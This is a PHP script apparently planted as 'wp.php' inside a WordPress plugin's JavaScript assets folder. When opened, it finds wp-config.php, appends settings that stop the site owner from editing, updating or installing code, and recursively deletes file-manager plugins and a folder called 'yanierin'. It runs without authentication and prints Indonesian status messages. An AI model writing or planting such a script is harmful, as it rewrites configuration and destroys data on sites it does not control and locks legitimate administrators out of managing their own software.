File: /home/livspacetenvelop/public_html/wp-content/plugins/login-customizer/freemius/assets/js/wp.php
<?php
@ini_set('display_errors', 1);
@error_reporting(E_ALL);
echo "<h2>đ§ Auto Scan WordPress (Dari Mana Aja)</h2>";
$start_dir = __DIR__;
echo "<p>đ Mulai dari: <code>" . htmlspecialchars($start_dir) . "</code></p>";
$wp_config = find_wp_config($start_dir);
if (!$wp_config) {
echo "â wp-config.php tidak ditemukan naik ke atas dari sini.<br>";
exit;
}
echo "â
Ditemukan: <code>" . htmlspecialchars($wp_config) . "</code><br><br>";
update_wp_config($wp_config);
remove_bad_plugins($wp_config);
// === FUNCTIONS ===
function find_wp_config($start) {
$dir = $start;
while ($dir !== dirname($dir)) {
$wp_config_path = $dir . '/wp-config.php';
if (file_exists($wp_config_path)) {
return $wp_config_path;
}
$dir = dirname($dir);
}
return false;
}
function update_wp_config($path) {
if (!is_readable($path)) {
echo "â Gagal membaca file: " . htmlspecialchars($path) . "<br>";
return;
}
$config = file_get_contents($path);
if ($config === false) {
echo "â Gagal baca file: " . htmlspecialchars($path) . "<br>";
return;
}
$edit_define = "define('DISALLOW_FILE_EDIT', true);";
$mods_define = "define('DISALLOW_FILE_MODS', true);";
$modified = false;
if (strpos($config, $edit_define) === false) {
$config .= "\n" . $edit_define . "\n";
echo "â
Tambah DISALLOW_FILE_EDIT<br>";
$modified = true;
}
if (strpos($config, $mods_define) === false) {
$config .= "\n" . $mods_define . "\n";
echo "â
Tambah DISALLOW_FILE_MODS<br>";
$modified = true;
}
if ($modified) {
if (!is_writable($path)) {
echo "â File tidak bisa ditulis: " . htmlspecialchars($path) . "<br>";
return;
}
if (file_put_contents($path, $config) !== false) {
echo "â
wp-config.php berhasil diperbarui!<br>";
} else {
echo "â Gagal memperbarui wp-config.php<br>";
}
} else {
echo "âšī¸ Define sudah ada, gak perlu diapa-apain.<br>";
}
}
function delete_directory($dir) {
if (!file_exists($dir)) return false;
$items = scandir($dir);
if ($items === false) return false;
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$path = $dir . DIRECTORY_SEPARATOR . $item;
if (is_dir($path)) {
if (!delete_directory($path)) {
return false;
}
} else {
if (!@unlink($path)) {
return false;
}
}
}
return @rmdir($dir);
}
function remove_bad_plugins($wp_config_path) {
$wp_root = dirname($wp_config_path);
$plugin_dir = $wp_root . '/wp-content/plugins';
// Daftar plugin atau folder mencurigakan yang ingin dihapus
$targets = ['wp-file-manager', 'file-manager-advanced', 'yanierin'];
if (!is_dir($plugin_dir)) {
echo "â Folder plugin tidak ditemukan: " . htmlspecialchars($plugin_dir) . "<br>";
return;
}
foreach ($targets as $plugin) {
$plugin_path = $plugin_dir . '/' . $plugin;
if (is_dir($plugin_path)) {
if (delete_directory($plugin_path)) {
echo "đī¸ Plugin <code>" . htmlspecialchars($plugin) . "</code> dihapus<br>";
} else {
echo "â Gagal hapus plugin <code>" . htmlspecialchars($plugin) . "</code><br>";
}
} else {
echo "âšī¸ Plugin <code>" . htmlspecialchars($plugin) . "</code> tidak ditemukan<br>";
}
}
}
?>